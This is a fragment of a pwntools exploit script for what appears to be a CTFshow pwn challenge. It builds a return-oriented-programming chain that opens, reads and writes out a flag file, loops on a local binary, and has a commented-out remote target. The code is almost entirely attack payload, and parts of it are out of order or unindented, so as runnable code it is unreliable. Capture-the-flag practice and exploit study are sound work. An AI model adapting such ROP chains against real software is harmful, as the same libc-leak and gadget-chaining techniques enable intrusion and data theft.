open_addr = libc_base + libc.sym['open']

payload = b'CTFshow\x00'
payload += b'flag\x00\x00\x00\x00'
payload += p64(0) + p64(0) + p64(0)
# open(flag_addr,0)
payload += p64(pop_rdi_addr) + p64(base_addr + 0x202068)
payload += p64(pop_rsi_r15_addr) + p64(0) + p64(0)
payload += p64(open_addr)

# read(1,base_addr+0x202060+0x300,0x100)
payload += p64(pop_rdi_addr) + p64(1)
payload += p64(pop_rsi_r15_addr) + p64(base_addr + 0x202060 + 0x300) + p64(0)
payload += p64(pop_rdx_addr) + p64(0x100)
payload += p64(read_addr)

# write(2,base_addr+0x202060+0x300,0x100)
payload += p64(pop_rdi_addr) + p64(2)
payload += p64(pop_rsi_r15_addr) + p64(base_addr + 0x202060 + 0x300) + p64(0)
payload += p64(pop_rdx_addr) + p64(0x100)
payload += p64(write_addr)
pause()
sl(payload)
io.interactive()


i = 0
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
while 1:
io = process('./ptf')
#io=remote("pwn.challenge.ctf.show",28228)
io.recvuntil('\x78')
leak_addr = int(io.recv(12), 16)
print(hex(leak_addr & 0xffff))
pwn()